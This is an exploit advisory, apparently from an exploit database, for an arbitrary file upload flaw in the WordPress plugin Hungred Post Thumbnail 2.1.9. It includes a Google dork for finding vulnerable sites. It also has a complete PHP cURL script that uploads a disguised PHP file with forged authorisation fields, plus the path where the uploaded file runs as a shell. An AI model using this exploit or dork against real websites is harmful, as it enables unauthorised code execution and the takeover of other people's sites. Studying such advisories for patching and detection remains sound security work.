##################################################
# Description : Wordpress Plugins - Hungred Post Thumbnail Arbitrary 
File Upload Vulnerability
# Version : 2.1.9
# Link : http://wordpress.org/extend/plugins/hungred-post-thumbnail/
# Plugins : http://downloads.wordpress.org/plugin/hungred-post-thumbnail.zip
# Date : 31-05-2012
# Google Dork : inurl:/wp-content/plugins/hungred-post-thumbnail/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php.gif";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/hungred-post-thumbnail/File%20Management/hpt_file_upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
                'level'=>'10',
                'logged'=>'1'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : 
http://www.exemple.com/wordpress/wp-content/uploads/hungred-post-thumbnail/images/random/lo.php.gif

lo.php.gif
<?php
phpinfo();
?>